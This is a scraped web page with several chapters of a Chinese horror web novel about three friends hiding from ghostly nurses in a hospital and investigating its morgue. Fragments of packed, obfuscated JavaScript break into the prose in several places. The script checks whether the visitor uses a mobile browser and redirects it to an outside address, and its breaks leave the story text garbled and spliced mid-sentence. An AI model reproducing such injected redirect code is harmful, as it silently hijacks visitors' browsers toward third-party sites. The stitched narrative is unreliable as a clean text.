0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350155|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 张宇凡已经控制不住情绪:“走啊!” “宇凡,你冷静一点……跟着迟哥他们,会更安……” 张宇凡的神经已经经不起一点触碰,眼看就要着,他凑近李夏,在她耳边咬牙切齿地问:“你跟着这小白脸跟得挺舒服是吧?” “李夏。”蔚迟说,“你们去安全通道吧,跟这里就隔了一间房,要是有什么事,可以来找我。” “谢、谢谢迟哥……”李夏话还没说完,就被张宇凡拖走了。 让人没想到的是,胡凯也说要跟他们一起过去。他也被这些死人吓得不轻。 等那三个人走了,元祁才心有余悸道:“幸好没把护士引过来。” 蔚远评价:“傻逼。” 蔚迟摇摇头,还是在死人正对面坐下。 另两人一左一右坐在他旁边。 元祁打开书包,给两人递了点零食,然后自己撕开一包小饼干咔嚓咔嚓嚼起来。 蔚远一言难尽:“这你还吃得下?” 元祁还奇怪地看了他一眼,才反应过来他们现在正跟那四个无端起身的死人面对着面,进食环境确实有些离奇……但他好像已经不怕了,就好像是在鬼屋里看热闹,或者看鬼片,会被突如其来的什么东西吓一跳,但也还能边吃零食边看。 蔚迟笑了一声,也撕开包装吃起来。 蔚远不甘示弱,也开始吃。 吃了一半,元祁说:“迟哥,你可太牛逼了,还记得配了一管备用的带身上。” 蔚远没懂:“什么?” “那针毒药啊,迟哥之前在药房配的。”元祁说得手舞足蹈,“进入人体十五秒就能造成血栓,最多三十秒就能致死——几分钟就配好了,帅爆。” “那可不。”蔚远与有荣焉,“我哥学的那个专业可牛逼了!叫……叫生物编程、编程工程技术与……与……与什么?” 蔚迟:“与神经系统研究。” “对!”蔚远道,“就是我们这些人名字都记不全的牛逼!” 蔚迟:“我没配。” 元祁没听懂:“什么?” “我只配了那一管,没有多的。”蔚迟把刚刚恐吓张宇凡的针摸出来,“只是营养针,实在要饿死了可以顶一阵。”他把针往元祁怀里一抛,“送你了。” 元祁嗷嗷嗷地抱住他的胳膊,马屁拍得飞起:“迟哥帅爆!” 在蔚迟的推测里,变化大概会在七点左右发生。东西吃完以后,蔚远靠着他开始打游戏,元祁靠着他开始睡觉。他心里一面觉得这俩家伙不怕了似乎是好事……但这会不会也太松懈了? 绝对没到七点,门被敲响了。 蔚远放下手机,元祁也瞬间就醒了,基本同时道:“哥……” 蔚迟比了个手势,让他俩等着,自己站起身走到门口,同时瞥了一眼电子表的时间,06:29。 蔚迟通过玻璃窗看到,来人是李夏。 她抱着胳膊东张西望,惶惶不安。 蔚迟把门打开,问:“怎么了?” 李夏一张脸惨白如纸,嘴唇都在发抖:“胡凯不见了!” 蔚迟心底一沉:“什么意思?” “消失了!”李夏都快哭了,“直接消失了!” 14. 市二院14 消失了? 什么叫消失了? 一瞬间,蔚迟就想到了消失的胡天奇和林富国。 他们在死亡的时间点消失了。 ……也就是说,胡凯已经死过了? 蔚迟把李夏让进屋里:“你仔细说一下什么情况,什么时候消失的?怎么消失的?” 李夏还在抖:“就、就刚刚,不到一分钟。宇凡……宇凡状态不好,我一直在照顾他,胡凯坐在我们对面。我刚低头跟宇凡说了一句话,一抬头胡凯就不见了……我立刻就过来了。” 蔚迟问:“有没有可能是他自己起来走的?” 李夏说:“应该不可能吧……我们把安全通道门锁了的,他要走门肯定要开锁……他如果走楼梯的话,得有声音吧?” 如果能确定真是原地消失的话,也基本能确定胡凯是死过的。 蔚迟忽然想起,他今天再次见到元祁的时候,检查过元祁的手表,还是一点四十九,但没检查胡凯的,因为昨天元祁和胡凯一起逃命,元祁不至于连人死了都不知道吧? 蔚迟回头问元祁:“怎么回事?你不是说你跟胡凯在楼梯间躲到今天早上吗?” 元祁:“是啊……” 蔚迟:“你们中间没分开过?” 李夏看着元祁,惊恐地往后退了两步,刚好撞到门上。她的脑子基本也要不能转了,只粗浅地意识到蔚迟跟她们说过,消失了的都是死人,那么她们跟胡凯这个死人待在一起这么久……那元祁呢? 她感觉自己的心都要跳到嗓子眼了,艰难地指着元祁:“胡凯是死人的话……那他呢?” 这时她感到身后的门震动了几下,发出连续而急促的敲门声。 她一口气差点没上来。 蔚迟把元祁的手又拎起来检查了一下时间,还是一点四十九,同时跟李夏说:“开门,别傻站着。” 李夏愣了一会儿才意识到蔚迟在说什么,敲门声还在继续,她战战兢兢地回过头,在玻璃窗口那儿看到了张宇凡的脸。 她打开门,张宇凡就进来往她面前一跪,抱住了她的腰,脑袋贴在她的肚子上,很依恋的姿势,像孩童抱住了母亲,但这种姿势放在一个成年男人身上却很诡异,他的精神大概已经崩溃了。 他睁着大眼睛,神色惶惶:“你怎么这么久都不回来?我好怕。我好怕。” 她抱住他的脑袋:“不怕不怕……” 画面不太美丽,但蔚迟这边也没看着。 蔚迟还在盘问元祁:“你们昨天分开过没有?” 元祁想了一会儿,说:“他去上过一次厕所。” 蔚迟:“什么时候?” 元祁瞄了一眼墙上的电子表,数字在灰绿的屏幕上发出一点荧光,6:31,他呼吸一窒,脸色变了:“好像……就是这会儿……” 蔚迟觉得自己好像漏过了什么,心脏不安地跳动起来,他尽可能强迫自己冷静,又问:“你们昨天躲在哪儿的?” 元祁:“安全通道啊。” 蔚迟:“哪个安全通道?” “我不知道啊……”元祁都快急哭了,“好像、好像就是旁边的这个……我记得是挨着厕所不远的……” 李夏忽然说:“好像有人过来了。” 众人安静下来,那种特制鞋底的声音变得清晰。 张宇凡抱着头开始嚎叫,李夏要去捂他的嘴,但是已经来不及了,那护士铁定听见了。 蔚迟说:“跑!现在快跑!” 所有人都冲了出去,朝护士过来的反方向跑去。 脚步声也立刻追了上来! 蔚迟的方向感其实不是特别好,这住院部道路错综复杂,他很怕带路跑着跑着就跑到护士站去了,就让蔚远跑前面。蔚远很懵逼:“跑哪儿去啊?” 蔚迟:“不知道!总之要再跑半小时!撑到七点就没事了!” 蔚迟其实也想过要分两拨跑,最理想的情况是他和蔚远加元祁三个一拨跑路,不管那对倒霉催的情侣了,但现在情况相当尴尬,那对情侣铁定是不愿意自己走的,张宇凡已经崩溃了,只晓得跟着李夏加坏事,而李夏也绝对不会放弃跟着蔚迟,好死不死,这俩还是学体育的,跑贼快,还甩不掉。 蔚迟又想说不然让蔚远带着元祁跑,他单独走,李夏大概率会跟着他,张宇凡也会跟着。现在带着这对倒霉催的情侣基本等于自杀,那他多半也要完蛋了,但蔚远和元祁说不定能跑掉。 一想到要和这对天杀的情侣死一起,蔚迟怎么也没办法提出这个方案。 身后的脚步声越追越近,屋漏还偏逢连夜雨,不远处的拐角居然还又出现了一个护士! 还好旁边正好有个转角,众人拐进去,继续跑,追在后面的护士变成了两个! 这下连兵分两路都不成了。 没跑多远,他们又遇到了第三个护士! 大概这会儿快到上班时间,值夜班的护士们都出来了。 蔚迟意识到这样下去不行,他们不可能一直这样跑半小时不被抓到,那些护士的速度比他们快,而且——蔚迟想到周迎春——医生会更快! 蔚迟跟蔚远说:“找个门结实点的地方躲起来!” 蔚远:“哪有在她们面前结实的门啊!” 蔚迟:“没办法!能躲一会儿是一会儿!” 他们从安全楼梯跑下去,蔚迟把楼梯的铁门锁了,抵挡了一阵,跑到四楼拐出去,又被四楼的护士发现了,幸好还离得挺远。 拐过一处拐角,蔚迟当机立断,找了间房冲进去。他想到,因为那些护士比他们速度快,越跑得久她们就追得越紧,不如趁现在她们没拐到跟他们同一条长走廊,不知道他们进了哪间房,先躲好。虽然这算是把自己关进了绝路,但只要运气够好不被找到,还有希望撑到七点。 结果所有人都跟着他冲进了这个房间。 他本意是想让人都分开躲的……全躲一起,一凉可就全凉了。 但进都进来了,也没办法。 他打量起房间,不知道是福是祸,情急之下他居然选了间最特殊的——更衣室。但好处是,更衣室有连着的两间,外面是存包的,里面是换衣的,门也有两道。 蔚迟想了想,决定不锁外面这道门——锁了门也太明显了——带着人进了里间。 里间是等身铁柜,甚至可以藏人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350156|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 蔚迟让蔚远和元祁自己选一间柜子藏进去,蔚远在如此时刻还能开得起玩笑:“好好选,指不定是在给自己选棺材呢。” 蔚迟锤了他一下,拉开一间进去了。进去之后他才意识到,自己进的是4-17。 417,纪惊蛰的电话号码尾数,那混蛋消失的那几年,蔚迟打这个号码打了几百遍,直接打成了日常打卡似的执念。 其实蔚远说得也没错,这说不定真是在给自己选棺材。 蔚迟在漆黑的柜子里按住额头,自暴自弃地想,怎么要死了还在想那个混蛋。 忽然他的柜子被拉开,元祁钻起来,跟他挤在一起。 蔚迟:“你干什么?” 元祁跟刚进这恐怖世界时一样,哭得可怜兮兮:“迟哥我害怕!要死我也要跟你死在一起!” 蔚迟:“谁要跟你死在一起!” 元祁死死抱住他的腰。 算了,就这样吧。 蔚迟三人已经开始等死模式,谁能想到那对情侣还不安生。 蔚迟听到张宇凡在问:“小夏,你爱我吗?” 李夏说:“爱啊。” 张宇凡:“那你可以为我做一件事吗?” 李夏:“什么事?” 蔚迟觉得不太对劲,这两人的声音不像是从柜子里传出来的,好像还没进柜子。 他提醒了一句:“闭嘴,快点进柜子。” 张宇凡充耳不闻,那颗一团乱麻的脑子不知道跑完了怎样离奇的逻辑线,又问李夏:“你可以为我去死吗?” 李夏看着张宇凡,他表情很怪异,眼睛充血赤红,整张脸很扭曲,又兴奋又悲伤。她有点怕,但是更怕护士,想赶快躲进柜子里去,回答:“我为什么要为你去死?咱们一起活着不好吗?” 张宇凡说:“你告诉她们,我们朝楼下跑了,你是女的,跑不动了,才躲在这儿的。” 李夏感觉心脏狂跳起来:“……你在说什么?” 张宇凡忽然把她往门外推,她挣扎不开,低声吼道:“张宇凡!你疯啦?” 张宇凡把她推出了门,然后落了锁。 “我害怕……我好害怕……我不想死!我不想死……我妈就我一个儿子,她下个月就要过生日了,至少让我给她过个生日吧……我不想死……小夏,救救我,你救救我。”隔着门,她听到张宇凡说,“小夏,我爱你,我会永远记得你的。” 她盯着眼前紧锁的门,原地愣了一会儿,巨大的恐惧席卷了全身,从头凉到了脚。 她的脑海中飞速掠过跟这个男人在一起后的点点滴滴——他特别不好的一点是爱吹牛,但是人还挺有趣,对她也好。她知道他没有他自己说的那么好,有点窝里横,还有点怂,但她觉得他还是个大男孩,还挺可爱,这世道天真的男人不多了,她觉得自己的孩子有个这样的父亲还不错…… ——最后剩下来的是刻骨的恨,恨不得马上将张宇凡乱刀砍死。 她尚存的最后一点理智拉住了她。 现在还不是死局,只要撑到七点…… 她在极度的愤恨和惊恐中,颤抖地锁上了更衣室的门,然后缩到了墙角里。 15. 市二院15 蔚迟知道事情要遭。 医院的门只能从里面锁上,李夏如果把门锁了,护士们就能很快找到更衣室。 更操蛋的是,张宇凡把里间的门也锁了,这不明摆着说里间也有人么。 只能听天由命了。 而命运果然也没有眷顾他们。 不一会儿,他就听到踹门的声音。 同时,李夏也开始砸里间的门,边砸边骂,歇斯底里:“混账!我操/你妈狗娘养的张宇凡!混账混账混账混账混账!张宇凡我操/你妈!老娘做鬼也不会放过你!操……啊啊啊啊——” 门被踹开,之后是长达一分钟的惨叫。 再然后,是里间的门也在被踹。 咚——咚——咚—— 沉闷的撞击声重重落在门上,没几下,就传来木头裂开的声音,里间的门也撑不了多久。 每一次撞击声响起,元祁就跟着抖一下,蔚迟的心也跟着抖一下。他在心里计算着时间——他们是六点半开始跑的,在六层窜了一会儿,来到四楼——发现怎么算也不够半小时。 大概是真的要完蛋了。 元祁小声地哭:“哥……我遗书还没写完……” 蔚迟摸了摸他的头,无话可说。 一声巨响,门被踹裂了,继而是密集的高跟鞋踩地声,至少有三四个人。 蔚迟听到指甲刮擦到铁皮的声音,她们开始检查衣柜了。 嘎吱—— 嘎吱—— 嘎吱—— 越来越近,越来越近。 将死之际,蔚迟感觉自己的五感被无限度地放大,几乎能把各种边边角角的声音听个清楚,他冷汗狂冒,肾上腺素飙升,感觉自己狂乱的心跳声充斥了整间铁柜。 嘎吱—— 嘎吱—— 嘎吱—— 还隔着一间。 到旁边了。 开了。 一丝亮光射入漆黑的柜内,元祁早把脑袋埋到了蔚迟身上,打定主意做一只死鸵鸟。蔚迟倒是凝视着那一线渐渐扩大的光线,因为那一瞬间的光太强,他甚至有点看不清,需要微微眯起眼睛。 这让他想起在老家的夏天,蝉声轰鸣。姥姥家的那扇门午后朝阳,打开也是这样的效果,来人站在逆光里,根本看不清。不过十次有九次都是纪惊蛰来找他玩,逆光里,男孩的声音带着汽水和老冰棍的味道:“蔚迟,玩儿去!” 他的眼泪混着冷汗一起流下去。 铁柜被打开了。 蔚迟跟周迎春看了个对眼。 周迎春还是一张青脸,胸前口袋里还插着手术刀,那一块已经被血染红,也许是李夏的血。 蔚迟张了张嘴,没有发出声音,带着一脸狼藉涕泪,叫了声:“妈。” 周迎春顶着那张恐怖的鬼脸,迟疑了一秒,将柜子关上了。 黑暗再次笼罩了一切。 劫后余生,是真的劫后余生。 蔚迟猛喘了几口气——他刚刚都吓得忘记呼吸了。 扛过一阵眩晕后,他又聚起精神,去听外面的动静。 蔚远藏身的柜子就在他隔壁的隔壁,他的心跟着提到嗓子眼。 他听到周迎春拉开蔚远那间柜子了,停留了比之前更长一点的时间,大概也是在迟疑,然后,也把门关上了。 蔚远那间柜子在这一排的倒数第二个,周迎春又检查了一下最后那间柜子,说:“这里没人。” 没过多久,另一个声音说:“这里有一个。” 然后是张宇凡的鬼哭狼嚎,还有推搡声、拖拽声,想必是张宇凡在挣扎,发现无果后,他开始破罐破摔地大吼:“这里不止我!那里还有——” 这混账! 蔚迟感觉元祁攥着他衣服的手又紧了一下。 但是张宇凡没能说完,出口的话变成了一种堵塞的、黏腻的奇怪声音,像喉咙被什么液体堵住了。 蔚迟听到周迎春说:“可能分头跑了,去找下一间。” 脚步声啪塔啪塔地鱼贯而出。 他们在柜子里又躲了十多分钟,蔚迟感觉胸口都被元祁哭得湿透了。 估摸着差不多要到七点,他先微微打开一点门缝往外瞧。他本意是想在这柜子里直接躲到七点以后的,但又想看看死人怎么变活。 张宇凡死在屋子正中,死相相当凄惨,喉咙上有一道很深的伤口,几乎割开了他整个脖子,只剩一层后颈皮还连着,血从那里淌出来,流了一地。与之相比,他胸口那个失去心脏的血洞都显得不那么狰狞了。 可能又过了几分钟,那尸体直接消失了。带着所有的血迹,消失得无影无踪。 就像活人消失那样。 大概是到七点了。 几个人从柜子里出来,元祁吓得都脱了力,出去时差点栽地上。 蔚迟出去的时候听到了一声硬物落地的脆响,找了一圈,发现是他妈落下的胸牌。 【主任医师周迎春】 那边蔚远也走出来,腿还在微微发抖,一脸怂得很明显但是装得挺云淡风轻地说:“我就说我婶儿会罩我吧!” 元祁倒是哭得坦坦荡荡,还在揩眼泪:“吓死我了呜呜呜。” 蔚远心绪未平,恨恨道:“差点被那傻逼害死,还好遇到的是我婶儿。” 元祁问:“什么你婶儿?” 蔚远:“我哥他老妈啊,可不就是我婶儿。” “啊……”元祁看了蔚迟一眼,想半天说了一句,“幸好是阿姨……” 也幸好他刚刚当了鸵鸟,要是看到周迎春的脸,这会儿不定怎么想呢。 蔚远见他哥一直不说话,问:“哥,怎么了?” 蔚迟把周迎春的胸牌给他看:“不知道是偶然落下的,还是要提醒我们什么。” “迟哥……这到底是怎么回事啊?”元祁哭哭啼啼凑过来,“我们最后躲的那间病房,那一整条走廊不都要七点之后才查房吗?怎么六点半就有人过来啊?” 蔚迟说:“这我还要问你,胡凯到底是怎么回事?” 元祁回忆道,那天他们从人字拖护士手底下跑掉以后,就找了间安全通道躲了起来,躲到早上,大概就是六点半——因为没多久世界就正常了,应该是七点——胡凯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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蔚迟说:“算了,没事。” 谁能想到死人还会复活?没挖的心脏还要补挖?而胡凯是个八棍子打不出一个闷屁的葫芦呢? 三人先去了一趟妇科找周迎春,结果还是只有周莹在,今天周迎春整天调休。 “迟哥,昨天你没找着周老师吗?”周莹还很奇怪,想了想,蔚迟这两天都是早上七点出头就来找周迎春了,不得不说这时间很离奇,而且他为什么不打电话找他妈?她凑近小声问,“迟哥,你是不是遇到什么事了?” 蔚迟搪塞几句,走了。 看来周莹记得昨天早上见过他的事。 这说明,白天的周莹是同一个人。 后来,蔚迟穿着蔚远的护士服去药房偷了点药出来,又配了三支毒针,一人发了一支。这还是昨天张宇凡提醒了他——之前杀周迎春的时候,其他方法都不大有用,唯独这毒针让周迎春停滞了一会儿。 时间一晃就过了中午。 三个人窝在候诊室吃干粮,过了今天干粮也就吃完了。 元祁一边吃一边叹气:“哎……都现代社会了,你说他们怎么还挖心呢?跟中世纪吸血鬼恐怖故事似的。” 蔚迟忽然福至心灵。 他说:“我们去心内科看看。” 事情到这里似乎终于有了些转机。 三人站在心内科的专家介绍面板前,看着心内的三位主任医师的名字:李太元、陆国平、丁云间。 蔚远不太敢相信:“哥……是我想的那个意思吗?这会不会太简单了?” 16. 市二院16 心内的三位主任医师:李太元、陆国平、丁云间。 连起来不就是…… 太平间。 蔚远非常怀疑,以自己高考二百八的脑子都能想出来的事……是真实的吗? 他侧头去问他哥,他哥挑眉看他一眼,夸他聪明。 蔚迟夸蔚远还真不是违心的,是真觉得蔚远想得好——刚刚他正在看三位医生的学历生平和研究方向,企图从那堆密密麻麻的个人介绍中看出蛛丝马迹,蔚远就在旁边念叨:“太、平、间……”完了不确定地问他一句,“哥……是我想的那个意思吗?这会不会太简单了?” 蔚迟觉得这小子挺灵。 自己在这浩如烟海的信息中苦思冥想、仔细推敲,虽然大概多一会儿也能看出这“太平间”的玄妙来,蔚远空空的脑壳却能让他一眼中的。 蔚迟说:“不管怎样,先看看去。” 市二院的太平间在住院部的地下一层,三个人找过去花了二十多分钟。 元祁怕得不行,走在蔚迟和蔚远中间,一直拽着两人的胳膊。他胆子小,又喜欢看鬼片,太平间这种地方,光是听听就让他产生了百八十种不同画面的联想……吓尿了好吗……居然还要亲自过去。 他决定以后再也不看鬼片了。 他们还是没坐电梯,走的安全通道去的负一层,到了地下以后元祁感觉气温骤降,而且越走越冷。 元祁越走把两兄弟拉得越紧,整个人弯腰驼背地躲在两个人后面。 结果背后有人拍他肩膀。 他吓得直接起飞,往前一窜,但经过这几天好歹还是有些长进,没叫出声来。 三人回头,看到他们身后站了个小护士。 空气中漂浮着白色的冷气,负一层的灯光似乎更冷,把小护士的脸照得阴惨惨的。 元祁牙齿打着颤:“你你你……”他想问你是人是鬼,半天说不清楚。 那小护士倒是先开了口:“你们在这儿干嘛呢?” 声音听起来倒还像个人,挺生气的样子。 蔚远的撩妹系统又开启了,笑成了一朵花儿:“小姐姐,我们迷路啦。” 护士:“迷路迷到负一楼来啦?” 蔚远装傻:“哎呀这里是负一楼嘛……” 元祁战战兢兢地躲在蔚迟后面观察这小护士,见她面色苍白,眼底青色,非常憔悴且易怒。这种面相,要么是鬼,要么是另一个凄惨的物种——社畜。 他又勉勉强强地觉得自己似乎没有那么怕。 走廊另一头忽然传来了一声悠长的哭嚎,如同女鬼哭丧。 都是错觉!元祁抱住蔚迟的大臂,觉得更冷了。 那小护士“啧”了一声,给蔚迟他们指了条路,正是他们来的方向,“从这里走到头左拐上电梯就能出去。”然后风风火火朝哭声传来的地方去,边去边抱怨,“还有完没完了……” 元祁刚松了口气,就见他迟哥比了个“嘘”的手势,跟上了那个小护士。 他们现在放轻声音在跟踪,三个人分开贴墙走,元祁连胳膊肘都没法抓,更怕了,只能要哭不哭地跟在后面。 又拐过了两道弯,蔚迟在一处转角停下。 转过去就到太平间了。 有断断续续的谈话声传来,有个女人在哭,还有个男人的声音,很急促,叽里呱啦地在说方言,元祁听不太懂。他看到蔚迟和蔚远都一高一低地探头出去看情况,于是他也跟着探出头看了一眼。 只见太平间的门敞开着,几个医护人员正在推一台担架床进去,有个女人拖着床的扶手不让进,她旁边的男人面红脖子粗地在和医生争论什么。 大概是医闹。 扒着墙听了会儿墙角,大约是闹得差不多,蔚迟带着他们找了个承重柱的视觉死角藏好。不一会儿,那一男一女走了,他们来时遇到的那个小护士跟着。又过了一会儿,其他的医护人员也陆陆续续走出来,蔚迟数着人数,等人走光了,又回到了太平间。 太平间门没关,还留着一条小缝,冰冷的白气漏出来,带着一股奇怪的化学药品的味道。 元祁跟着蔚迟和蔚远走进去,一颗心几乎跳到嗓子眼。 太平间的景象……倒不陌生。鬼片里见过不少了,只是空气中弥漫的一种奇怪的气味……奇异的腐败的臭味、又被什么化学药剂强压下去的味道…… 蔚迟和蔚远开始检查还没放进柜子里的尸体。 元祁没有参与,光是站在这里,他就吓得四肢僵硬了。 忽然,他听到左后方有一点响动。 他在心里疯狂告诉自己是错觉是错觉,我是坚定的党员信仰马克思唯物主义,这个世界上是没有鬼的…… 然后他又听到了。 蔚远小声地跟蔚迟说:“哥……心都在。” 蔚迟回答:“嗯。” 尸体死状各异,不乏有死得特别惨的,大概是车祸,但都是正常死亡,胸腔完整,心脏还好好呆在里面。 元祁聚精会神听左后方的响动,没过多久,他第三次听到了声音,像是布料的摩擦声。 他被吓得完全不敢动,更不敢回头去看,只能哭唧唧地叫蔚迟:“迟哥……” 然后他感觉后脑勺一痛,眼前就黑了。 蔚迟回过头看到的就是这么个场面——元祁被一个小护士拿着托盘砸倒了。 Duang——这是托盘砸到头的声音。 咚——这是元祁砸在地上的声音。 “那个……”蔚迟想要说话,小护士却夺门而出。 蔚迟和蔚远刚把元祁架起来,走廊上就出现了一大片杂乱的脚步声,随即冲进来一大票人。 嗯,安保人员。 保安大叔带着一票拿着盾牌和警棍的小青年堵在门口,后面是刚刚把元祁打翻的小护士,正红着眼睛指控他们。 保安大叔中气十足,声如洪钟:“哟!这看着一个个人模狗样的!咋尽不干人事呢?”大手一挥,“全部带走!” 安保部在监控里就看到这三个偷摸溜进太平间的人了,以为是来偷尸体的变态,刚全副武装下来就遇到机智脱逃的小护士,当即把三个嫌疑人逮了个正着,有一个还晕了,抬去保卫科的。 元祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350158|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠悠转醒,看到的就是蔚远正在舌灿莲花舌战群保的场面。 蔚远真不愧对全家对他“二皮脸”、“跑火车”的评价,整一个口若悬河,短短几分钟,编圆了一整套感人肺腑的故事:他先讲了三人是如何相识、如何投缘、如何成为生死至交。又说元祁是美院学生,为了毕业设计的人体结构茶饭不思,他们这两个做哥的看不过去,正好趁着最近自己在市二院实习、大哥的妈妈又是医院医生,就起了走后门的心思,带着弟弟去太平间学习人体结构。他一面知道这样做当然是大错特错,希望各位叔叔能念在他们爱弟心切、情谊深重得份上,能网开一面。他们三人回去一定痛定思痛,重新做人。 说着说着还拿出元祁的美院学生证、他的实习证和蔚迟跟他妈的合照为证。 保安们听得一愣一愣的,好歹信了他们真的不是来猥亵尸体的变态。 蔚迟在旁边看着,觉得出去以后可以给大伯出个主意,送蔚远去说脱口秀。 哪想保安大叔正气凛然,生平最恨的就是蔚远这种油嘴滑舌的小白脸。听完后面色不动,按着蔚远的脖子教育了他们将近一个钟头。 放他们走的时候都还在数落蔚迟:“你说说你!堂堂高材生!跟他们在这儿瞎胡闹!” 这一通折腾下来,已经下午三点。大厅里又躺满了第一天死掉的人。 蔚迟他们又去了心内科。那三个主任医师只有丁云间在,另外两个说刚做完大手术在调休。 他们本来想挂丁医生的号,进诊室里观察一下,可这年头,医院天天人满为患,实在是不可能当天挂号当天看上,遂绝了这个念头,就坐在候诊室里等。 好不容易等到丁医生出来上厕所,蔚迟就穿着蔚远的护士服遛进了丁医生的诊室,搜捡了一会儿,也没有找到什么特别有价值的东西,跟挖心脏相关的资料更是没有,这位丁医生的专攻方向还是保守治疗和微创,甚至不怎么动刀。 门外传来一阵骚动声,是蔚远和元祁搞出来的。大概丁医生上完厕所回来了。 蔚迟就带着几本没来得急看完的东西又溜了出去。 之后他们在休息室里把那几本资料看完了,也没有发现什么特别的。 弄错了? 蔚迟静下心,开始思考。 他一直以来有一种强烈的感觉:这个世界是两个世界拼合起来的——假设他原本所在的世界为A,时间停在了一点四十九,人都死掉并被挖掉了心脏,有着怪物医生护士和恐怖的晚上;而另一个世界为B,这是个正常世界,时间正常、事件正常,有着正常世界的白天。这里的人因为与A世界完全相同的理由来到医院,并在白天替换掉了A世界的死人。 如果真的存在那么一条通道,可以让他们回到原本的A世界…… 那也许……得在晚上。 只有晚上,这里才属于A世界。 蔚迟刚想明白,元祁正好在问:“咱们现在怎么办啊?” 蔚迟说:“我想七点之后再去看看。” 元祁心说不好,吞了吞口水:“……看什么?” “太平间。” 17. 市二院17 之后蔚迟带着另两人在医院里转悠起来,去了骨科、住院部跟核酸检测点,本来是想找林富国胡天奇他们再问问情况,最好是找到胡凯。 但是很遗憾,一个也没找到。 蔚迟还让蔚远去找了太平间的值班表,蔚远笃定世界上没有这种东西,被赶着去骗了一圈果然没骗着,还被护士长揪住小辫子骂他该听讲时不听讲——死人时间又不固定,太平间值班时间怎么固定? “你看吧!哥,我就说没有。”蔚远可怜兮兮揉着被捶了的脑壳,他对这个高材生哥哥盲目信赖,看来还是要不得,人还是得有自己的想法。 蔚迟看了一眼医院大厅的大挂钟,六点二十,时间也差不多了。 医院大厅里已经躺满了死人,跟第一天的惨状一模一样。 蔚迟:“行,那走吧。” 元祁哭唧唧:“我想尿尿。” 蔚迟:“快去。” 元祁:“呜呜呜呜不敢。” 三个人便结伴去上厕所,蔚迟等在厕所外面,研究对面墙上的医院整体平面图。蔚远陪元祁进去。 元祁一推开门迎面就躺了个死人,窗户周围还有炸开的血迹,大概是想从这个窗户逃出去的人炸出来的。 元祁边哭边尿,哭得太凶,差点没尿出来。 洗了手出了门,蔚远问元祁:“你哭什么?” 元祁狂抹眼泪,怎么擦也擦不干净:“我不知道……我就是害怕。” 蔚远:“你坐在死人对面吃薯片的时候怎么不怕?” 元祁:“我不知道……我……我……”他抹了半天抹不干净,索性破罐破摔,任由眼泪哗啦哗啦淌下来,他抽了抽鼻子,“我就是忍不住。” 蔚迟听见他们说话的声音,探了个头往里看:“还不出来?” “来了。”蔚远答道。他甩着手上的水往外走,听到元祁在他身后很小声地说了一句:“我感觉有事情要发生了。” 蔚远没听太清楚,回头问道:“什么?” 元祁摇摇头:“没什么。” 元祁的眼睛很大,哭过之后像是一对被水淋过的玻璃珠子,这样子看人就像一只可怜兮兮的小鹿。蔚远心里一动,伸出手揉了揉他的头:“别怕,马上就能出去了。” 三人到达太平间所在的负一层时是六点四十分,很幸运,到太平间去的过程中没遇到什么医生护士。 走到这儿元祁才想起来,问蔚迟:“迟哥,咱们万一又被保安大叔看到了怎么办?” 蔚迟说:“放心,我已经把这个区域的监控关掉了。” 元祁很惊讶:“啊?什么时候?” “就是小爷我在那里巧舌如簧的时候。”蔚远说,“要不然你以为我为啥要在那儿哔哔那么久?” 蔚迟:“嘘。” 三人还是躲在拐角处朝太平间看,太平间的灯亮着,门没关严,丝丝缕缕有白气漏出来,可以隐隐约约看到里面有个人影在动。 元祁觉得寒意从尾椎骨直接爬到了头皮,把蔚迟的胳膊抓得更紧了。 三人又在那里等了好一会儿,蔚迟他们看不到现在的时间,感觉上得过了有十多分钟。他们下来的时候就是六点四十,这会儿可能离七点不远了。 终于,那个人出来了,穿着灰色工作服,提着扫帚和垃圾袋,大概是太平间的清洁工。 他出来之后没有马上走,而是站在门口捣鼓着什么。 蔚迟听到金属碰撞声,反应了一秒,意识到—— “他要锁门!” 蔚迟话音刚落,蔚远已经冲了出去,三步并作两步冲到那清洁工背后,道:“大叔!劳驾!先别锁!” 那清洁工回过头来,一张苍老的脸,眼珠子有点泛灰,看着不太精神的样子,很是瘆人,他很矮,要抬起头才能看到蔚远的脸,但他不抬头,只是翻起眼睛,问道:“为啥?” 蔚远一时也说不出个理由,他刚刚完全是脑子一热就冲过来了,根本没空想一二三,就晓得不能让这太平间的门被锁了。 他吞了吞口水,大脑一片空白,这时他听到他哥在他身后说:“院里刚接回一辆急救车,大型车祸,一会儿这儿还得用。” 蔚迟穿着蔚远的护士服走上来。元祁不敢一个人留在原地,也跟在后面。 那清洁工又用那种奇怪的姿势看了蔚迟一眼,然后又慢吞吞地转回去,继续要锁门。 蔚远伸手拦他:“大叔!先别锁!” 那清洁工还是执拗地锁门,用方言说:“先锁了,先锁了,我要换班了。一会儿再开,一会儿叫刘老五再开。” 蔚远眼见他已经把锁穿进了门洞,直接一把将锁夺了过来。 